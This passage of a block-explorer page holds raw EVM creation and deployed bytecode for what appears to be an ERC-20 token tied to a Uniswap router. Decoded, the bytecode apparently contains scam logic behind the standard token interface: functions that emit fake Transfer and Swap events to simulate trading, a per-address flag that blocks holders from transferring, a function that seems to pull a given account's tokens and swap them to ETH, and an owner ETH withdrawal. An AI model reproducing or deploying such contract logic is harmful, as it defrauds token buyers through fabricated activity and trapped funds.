d62000809565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000a7e601f8362000a35565b915062000a8b8262000a46565b602082019050919050565b6000602082019050818103600083015262000ab18162000a6f565b9050919050565b600062000ac582620005ce565b915062000ad283620005ce565b925082820190508082111562000aed5762000aec62000809565b5b92915050565b62000afe81620005ce565b82525050565b600060208201905062000b1b600083018462000af3565b92915050565b6136398062000b316000396000f3fe6080604052600436106101bb5760003560e01c806377a1736b116100ec578063a9059cbb1161008a578063c78052c611610064578063c78052c614610659578063dd62ed3e14610670578063e6bd3c0d146106ad578063f2fde38b146106d6576101fb565b8063a9059cbb146105ca578063b93b285614610607578063beabacc814610630576101fb565b806395d89b41116100c657806395d89b411461051057806399fda4931461053b578063a1c617f514610564578063a457c2d71461058d576101fb565b806377a1736b146104935780637aac697b146104bc5780638da5cb5b146104e5576101fb565b8063387999a11161015957806366d382031161013357806366d38203146103ed57806370a08231146104165780637111a99414610453578063715018a61461047c576101fb565b8063387999a11461034a57806339509351146103735780634551a9de146103b0576101fb565b806323b872dd1161019557806323b872dd1461029057806326b937d2146102cd578063313ce567146102f6578063376bda7314610321576101fb565b806306fdde03146101fd578063095ea7b31461022857806318160ddd14610265576101fb565b366101fb577f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f8852587433346040516101f1929190612573565b60405180910390a1005b005b34801561020957600080fd5b506102126106ff565b60405161021f919061262c565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906126ba565b610791565b60405161025c9190612715565b60405180910390f35b34801561027157600080fd5b5061027a6107b4565b6040516102879190612730565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b2919061274b565b6107be565b6040516102c49190612715565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190612859565b6107ed565b005b34801561030257600080fd5b5061030b610b2e565b60405161031891906128f6565b60405180910390f35b34801561032d57600080fd5b50610348600480360381019061034391906126ba565b610b37565b005b34801561035657600080fd5b50610371600480360381019061036c91906126ba565b610ded565b005b34801561037f57600080fd5b5061039a600480360381019061039591906126ba565b6110d3565b6040516103a79190612715565b60405180910390f35b3480156103bc57600080fd5b506103d760048036038101906103d29190612911565b61110a565b6040516103e49190612715565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f9190612911565b611160565b005b34801561042257600080fd5b5061043d60048036038101906104389190612911565b6111ac565b60405161044a9190612730565b60405180910390f35b34801561045f57600080fd5b5061047a6004803603810190610475919061293e565b6111f5565b005b34801561048857600080fd5b506104916112eb565b005b34801561049f57600080fd5b506104ba60048036038101906104b591906129f2565b6112ff565b005b3480156104c857600080fd5b506104e360048036038101906104de9190612a3f565b611489565b005b3480156104f157600080fd5b506104fa611615565b6040516105079190612ab3565b60405180910390f35b34801561051c57600080fd5b5061052561163e565b604051610532919061262c565b60405180910390f35b34801561054757600080fd5b50610562600480360381019061055d9190612ace565b6116d0565b005b34801561057057600080fd5b5061058b60048036038101906105869190612a3f565b6116f2565b005b34801561059957600080fd5b506105b460048036038101906105af91906126ba565b61187d565b6040516105c19190612715565b60405180910390f35b3480156105d657600080fd5b506105f160048036038101906105ec91906126ba565b6118f4565b6040516105fe9190612715565b60405180910390f35b34801561061357600080fd5b5061062e600480360381019061062991906126ba565b611917565b005b34801561063c57600080fd5b506106576004803603810190610652919061274b565b611b88565b005b34801561066557600080fd5b5061066e611bf2565b005b34801561067c57600080fd5b5061069760048036038101906106929190612b21565b611c43565b6040516106a49190612730565b60405180910390f35b3480156106b957600080fd5b506106d460048036038101906106cf91906129f2565b611cca565b005b3480156106e257600080fd5b506106fd60048036038101906106f89190612911565b611d77565b005b60606006805461070e90612b90565b80601f016020809104026020016040519081016040528092919081815260200182805461073a90612b90565b80156107875780601f1061075c57610100808354040283529160200191610787565b820191906000526020600020905b81548152906001019060200180831161076a57829003601f168201915b5050505050905090565b60008061079c611dfa565b90506107a9818585611e02565b600191505092915050565b6000600454905090565b6000806107c9611dfa565b90506107d6858285611fcb565b6107e1858585612057565b60019150509392505050565b6000600267ffffffffffffffff81111561080a57610809612bc1565b5b6040519080825280602002602001820160405280156108385781602001602082028036833780820191505090505b509050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cc9190612c05565b816000815181106108e0576108df612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061092f5761092e612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060005b85859050811015610b2657600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ff36ab5600b546001858a8a878181106109ce576109cd612c32565b5b90506020020160208101906109e39190612911565b426040518663ffffffff1660e01b8152600401610a039493929190612d64565b60006040518083038185885af1158015610a21573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f82011682018060405250810190610a4b9190612ed4565b50858582818110610a5f57610a5e612c32565b5b9050602002016020810190610a749190612911565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef868685818110610af757610af6612c32565b5b90506020020135604051610b0b9190612730565b60405180910390a38080610b1e90612f4c565b91505061096c565b505050505050565b60006012905090565b6000600267ffffffffffffffff811115610b5457610b53612bc1565b5b604051908082528060200260200182016040528015610b825781602001602082028036833780820191505090505b509050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bf2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c169190612c05565b81600081518110610c2a57610c29612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110610c7957610c78612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ff36ab5600b5460018487426040518663ffffffff1660e01b8152600401610d189493929190612d64565b60006040518083038185885af1158015610d36573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f82011682018060405250810190610d609190612ed4565b508273ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610de09190612730565b60405180910390a3505050565b6000600267ffffffffffffffff811115610e0a57610e09612bc1565b5b604051908082528060200260200182016040528015610e385781602001602082028036833780820191505090505b5090503081600081518110610e5057610e4f612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ef7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1b9190612c05565b81600181518110610f2f57610f2e612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610f9830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d54611e02565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5600c5460018430426040518663ffffffff1660e01b8152600401610ffe959493929190612f94565b6000604051808303816000875af115801561101d573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906110469190612ed4565b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110c69190612730565b60405180910390a3505050565b6000806110de611dfa565b90506110ff8185856110f08589611c43565b6110fa9190612fee565b611e02565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6111686123cd565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b868690508110156112e25784848281811061121657611215612c32565b5b905060200201602081019061122b9190612911565b73ffffffffffffffffffffffffffffffffffffffff1687878381811061125457611253612c32565b5b90506020020160208101906112699190612911565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8585858181106112b3576112b2612c32565b5b905060200201356040516112c79190612730565b60405180910390a380806112da90612f4c565b9150506111f8565b50505050505050565b6112f36123cd565b6112fd600061244b565b565b6113076123cd565b60005b828290508110156114845760016002600085858581811061132e5761132d612c32565b5b90506020020160208101906113439190612911565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106113e0576113df612c32565b5b90506020020160208101906113f59190612911565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92561145c86868681811061144257611441612c32565b5b90506020020160208101906114579190612911565b6111ac565b6040516114699190612730565b60405180910390a3808061147c90612f4c565b91505061130a565b505050565b60005b8484905081101561160e578484828181106114aa576114a9612c32565b5b90506020020160208101906114bf9190612911565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051611545949392919061305d565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1685858381811061159957611598612c32565b5b90506020020160208101906115ae9190612911565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115f39190612730565b60405180910390a3808061160690612f4c565b91505061148c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461164d90612b90565b80601f016020809104026020016040519081016040528092919081815260200182805461167990612b90565b80156116c65780601f1061169b576101008083540402835291602001916116c6565b820191906000526020600020905b8154815290600101906020018083116116a957829003601f168201915b5050505050905090565b6116d86123cd565b82600b8190555081600c8190555080600d81905550505050565b60005b848490508110156118765784848281811061171357611712612c32565b5b90506020020160208101906117289190612911565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516117ad94939291906130a2565b60405180910390a38484828181106117c8576117c7612c32565b5b90506020020160208101906117dd9190612911565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161185b9190612730565b60405180910390a3808061186e90612f4c565b9150506116f5565b5050505050565b600080611888611dfa565b905060006118968286611c43565b9050838110156118db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d290613159565b60405180910390fd5b6118e88286868403611e02565b60019250505092915050565b6000806118ff611dfa565b905061190c818585612057565b600191505092915050565b6000600267ffffffffffffffff81111561193457611933612bc1565b5b6040519080825280602002602001820160405280156119625781602001602082028036833780820191505090505b509050308160008151811061197a57611979612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a459190612c05565b81600181518110611a5957611a58612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a9e833084611e02565b611aa9833084612057565b611ad630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611e02565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe58360018430426040518663ffffffff1660e01b8152600401611b3a959493929190612f94565b6000604051808303816000875af1158015611b59573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611b829190612ed4565b50505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611be59190612730565b60405180910390a3505050565b611bfa6123cd565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611c40573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611cd26123cd565b60005b82829050811015611d7257600060026000858585818110611cf957611cf8612c32565b5b9050602002016020810190611d0e9190612911565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d6a90612f4c565b915050611cd5565b505050565b611d7f6123cd565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de5906131eb565b60405180910390fd5b611df78161244b565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e689061327d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed79061330f565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611fbe9190612730565b60405180910390a3505050565b6000611fd78484611c43565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146120515781811015612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a9061337b565b60405180910390fd5b6120508484848403611e02565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bd9061340d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612135576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212c9061349f565b60405180910390fd5b61214083838361250f565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156121c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121be90613531565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122fb5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123575760011515600560009054906101000a900460ff16151514612356576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234d90613577565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123b49190612730565b60405180910390a36123c7848484612514565b50505050565b6123d5611dfa565b73ffffffffffffffffffffffffffffffffffffffff166123f3611615565b73ffffffffffffffffffffffffffffffffffffffff1614612449576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612440906135e3565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061254482612519565b9050919050565b61255481612539565b82525050565b6000819050919050565b61256d8161255a565b82525050565b6000604082019050612588600083018561254b565b6125956020830184612564565b9392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156125d65780820151818401526020810190506125bb565b60008484015250505050565b6000601f19601f8301169050919050565b60006125fe8261259c565b61260881856125a7565b93506126188185602086016125b8565b612621816125e2565b840191505092915050565b6000602082019050818103600083015261264681846125f3565b905092915050565b6000604051905090565b600080fd5b600080fd5b61266b81612539565b811461267657600080fd5b50565b60008135905061268881612662565b92915050565b6126978161255a565b81146126a257600080fd5b50565b6000813590506126b48161268e565b92915050565b600080604083850312156126d1576126d0612658565b5b60006126df85828601612679565b92505060206126f0858286016126a5565b9150509250929050565b60008115159050919050565b61270f816126fa565b82525050565b600060208201905061272a6000830184612706565b92915050565b60006020820190506127456000830184612564565b92915050565b60008060006060848603121561276457612763612658565b5b600061277286828701612679565b935050602061278386828701612679565b9250506040612794868287016126a5565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126127c3576127c261279e565b5b8235905067ffffffffffffffff8111156127e0576127df6127a3565b5b6020830191508360208202830111156127fc576127fb6127a8565b5b9250929050565b60008083601f8401126128195761281861279e565b5b8235905067ffffffffffffffff811115612836576128356127a3565b5b602083019150836020820283011115612852576128516127a8565b5b9250929050565b6000806000806040858703121561287357612872612658565b5b600085013567ffffffffffffffff8111156128915761289061265d565b5b61289d878288016127ad565b9450945050602085013567ffffffffffffffff8111156128c0576128bf61265d565b5b6128cc87828801612803565b925092505092959194509250565b600060ff82169050919050565b6128f0816128da565b82525050565b600060208201905061290b60008301846128e7565b92915050565b60006020828403121561292757612926612658565b5b600061293584828501612679565b91505092915050565b6000806000806000806060878903121561295b5761295a612658565b5b600087013567ffffffffffffffff8111156129795761297861265d565b5b61298589828a016127ad565b9650965050602087013567ffffffffffffffff8111156129a8576129a761265d565b5b6129b489828a016127ad565b9450945050604087013567ffffffffffffffff8111156129d7576129d661265d565b5b6129e389828a01612803565b92509250509295509295509295565b60008060208385031215612a0957612a08612658565b5b600083013567ffffffffffffffff811115612a2757612a2661265d565b5b612a33858286016127ad565b92509250509250929050565b60008060008060608587031215612a5957612a58612658565b5b600085013567ffffffffffffffff811115612a7757612a7661265d565b5b612a83878288016127ad565b94509450506020612a96878288016126a5565b9250506040612aa7878288016126a5565b91505092959194509250565b6000602082019050612ac8600083018461254b565b92915050565b600080600060608486031215612ae757612ae6612658565b5b6000612af5868287016126a5565b9350506020612b06868287016126a5565b9250506040612b17868287016126a5565b9150509250925092565b60008060408385031215612b3857612b37612658565b5b6000612b4685828601612679565b9250506020612b5785828601612679565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612ba857607f821691505b602082108103612bbb57612bba612b61565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050612bff81612662565b92915050565b600060208284031215612c1b57612c1a612658565b5b6000612c2984828501612bf0565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000612c90612c8b612c8684612c61565b612c6b565b61255a565b9050919050565b612ca081612c75565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612cdb81612539565b82525050565b6000612ced8383612cd2565b60208301905092915050565b6000602082019050919050565b6000612d1182612ca6565b612d1b8185612cb1565b9350612d2683612cc2565b8060005b83811015612d57578151612d3e8882612ce1565b9750612d4983612cf9565b925050600181019050612d2a565b5085935050505092915050565b6000608082019050612d796000830187612c97565b8181036020830152612d8b8186612d06565b9050612d9a604083018561254b565b612da76060830184612564565b95945050505050565b612db9826125e2565b810181811067ffffffffffffffff82111715612dd857612dd7612bc1565b5b80604052505050565b6000612deb61264e565b9050612df78282612db0565b919050565b600067ffffffffffffffff821115612e1757612e16612bc1565b5b602082029050602081019050919050565b600081519050612e378161268e565b92915050565b6000612e50612e4b84612dfc565b612de1565b90508083825260208201905060208402830185811115612e7357612e726127a8565b5b835b81811015612e9c5780612e888882612e28565b845260208401935050602081019050612e75565b5050509392505050565b600082601f830112612ebb57612eba61279e565b5b8151612ecb848260208601612e3d565b91505092915050565b600060208284031215612eea57612ee9612658565b5b600082015167ffffffffffffffff811115612f0857612f0761265d565b5b612f1484828501612ea6565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f578261255a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612f8957612f88612f1d565b5b600182019050919050565b600060a082019050612fa96000830188612564565b612fb66020830187612c97565b8181036040830152612fc88186612d06565b9050612fd7606083018561254b565b612fe46080830184612564565b9695505050505050565b6000612ff98261255a565b91506130048361255a565b925082820190508082111561301c5761301b612f1d565b5b92915050565b6000819050919050565b600061304761304261303d84613022565b612c6b565b61255a565b9050919050565b6130578161302c565b82525050565b6000608082019050613072600083018761304e565b61307f6020830186612564565b61308c6040830185612564565b613099606083018461304e565b95945050505050565b60006080820190506130b76000830187612564565b6130c4602083018661304e565b6130d1604083018561304e565b6130de6060830184612564565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006131436025836125a7565b915061314e826130e7565b604082019050919050565b6000602082019050818103600083015261317281613136565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006131d56026836125a7565b91506131e082613179565b604082019050919050565b60006020820190508181036000830152613204816131c8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132676024836125a7565b91506132728261320b565b604082019050919050565b600060208201905081810360008301526132968161325a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006132f96022836125a7565b91506133048261329d565b604082019050919050565b60006020820190508181036000830152613328816132ec565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613365601d836125a7565b91506133708261332f565b602082019050919050565b6000602082019050818103600083015261339481613358565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006133f76025836125a7565b91506134028261339b565b604082019050919050565b60006020820190508181036000830152613426816133ea565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006134896023836125a7565b91506134948261342d565b604082019050919050565b600060208201905081810360008301526134b88161347c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061351b6026836125a7565b9150613526826134bf565b604082019050919050565b6000602082019050818103600083015261354a8161350e565b9050919050565b50565b60006135616000836125a7565b915061356c82613551565b600082019050919050565b6000602082019050818103600083015261359081613554565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135cd6020836125a7565b91506135d882613597565b602082019050919050565b600060208201905081810360008301526135fc816135c0565b905091905056fea26469706673582212205663ea0f21ed7fa016a97397b22c9710a2067b528316fdac5b9e0cacdebebdab64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c806377a1736b116100ec578063a9059cbb1161008a578063c78052c611610064578063c78052c614610659578063dd62ed3e14610670578063e6bd3c0d146106ad578063f2fde38b146106d6576101fb565b8063a9059cbb146105ca578063b93b285614610607578063beabacc814610630576101fb565b806395d89b41116100c657806395d89b411461051057806399fda4931461053b578063a1c617f514610564578063a457c2d71461058d576101fb565b806377a1736b146104935780637aac697b146104bc5780638da5cb5b146104e5576101fb565b8063387999a11161015957806366d382031161013357806366d38203146103ed57806370a08231146104165780637111a99414610453578063715018a61461047c576101fb565b8063387999a11461034a57806339509351146103735780634551a9de146103b0576101fb565b806323b872dd1161019557806323b872dd1461029057806326b937d2146102cd578063313ce567146102f6578063376bda7314610321576101fb565b806306fdde03146101fd578063095ea7b31461022857806318160ddd14610265576101fb565b366101fb577f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f8852587433346040516101f1929190612573565b60405180910390a1005b005b34801561020957600080fd5b506102126106ff565b60405161021f919061262c565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906126ba565b610791565b60405161025c9190612715565b60405180910390f35b34801561027157600080fd5b5061027a6107b4565b6040516102879190612730565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b2919061274b565b6107be565b6040516102c49190612715565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190612859565b6107ed565b005b34801561030257600080fd5b5061030b610b2e565b60405161031891906128f6565b60405180910390f35b34801561032d57600080fd5b50610348600480360381019061034391906126ba565b610b37565b005b34801561035657600080fd5b50610371600480360381019061036c91906126ba565b610ded565b005b34801561037f57600080fd5b5061039a600480360381019061039591906126ba565b6110d3565b6040516103a79190612715565b60405180910390f35b3480156103bc57600080fd5b506103d760048036038101906103d29190612911565b61110a565b6040516103e49190612715565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f9190612911565b611160565b005b34801561042257600080fd5b5061043d60048036038101906104389190612911565b6111ac565b60405161044a9190612730565b60405180910390f35b34801561045f57600080fd5b5061047a6004803603810190610475919061293e565b6111f5565b005b34801561048857600080fd5b506104916112eb565b005b34801561049f57600080fd5b506104ba60048036038101906104b591906129f2565b6112ff565b005b3480156104c857600080fd5b506104e360048036038101906104de9190612a3f565b611489565b005b3480156104f157600080fd5b506104fa611615565b6040516105079190612ab3565b60405180910390f35b34801561051c57600080fd5b5061052561163e565b604051610532919061262c565b60405180910390f35b34801561054757600080fd5b50610562600480360381019061055d9190612ace565b6116d0565b005b34801561057057600080fd5b5061058b60048036038101906105869190612a3f565b6116f2565b005b34801561059957600080fd5b506105b460048036038101906105af91906126ba565b61187d565b6040516105c19190612715565b60405180910390f35b3480156105d657600080fd5b506105f160048036038101906105ec91906126ba565b6118f4565b6040516105fe9190612715565b60405180910390f35b34801561061357600080fd5b5061062e600480360381019061062991906126ba565b611917565b005b34801561063c57600080fd5b506106576004803603810190610652919061274b565b611b88565b005b34801561066557600080fd5b5061066e611bf2565b005b34801561067c57600080fd5b5061069760048036038101906106929190612b21565b611c43565b6040516106a49190612730565b60405180910390f35b3480156106b957600080fd5b506106d460048036038101906106cf91906129f2565b611cca565b005b3480156106e257600080fd5b506106fd60048036038101906106f89190612911565b611d77565b005b60606006805461070e90612b90565b80601f016020809104026020016040519081016040528092919081815260200182805461073a90612b90565b80156107875780601f1061075c57610100808354040283529160200191610787565b820191906000526020600020905b81548152906001019060200180831161076a57829003601f168201915b5050505050905090565b60008061079c611dfa565b90506107a9818585611e02565b600191505092915050565b6000600454905090565b6000806107c9611dfa565b90506107d6858285611fcb565b6107e1858585612057565b60019150509392505050565b6000600267ffffffffffffffff81111561080a57610809612bc1565b5b6040519080825280602002602001820160405280156108385781602001602082028036833780820191505090505b509050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cc9190612c05565b816000815181106108e0576108df612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061092f5761092e612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060005b85859050811015610b2657600e60009054906101000a900473ffffffff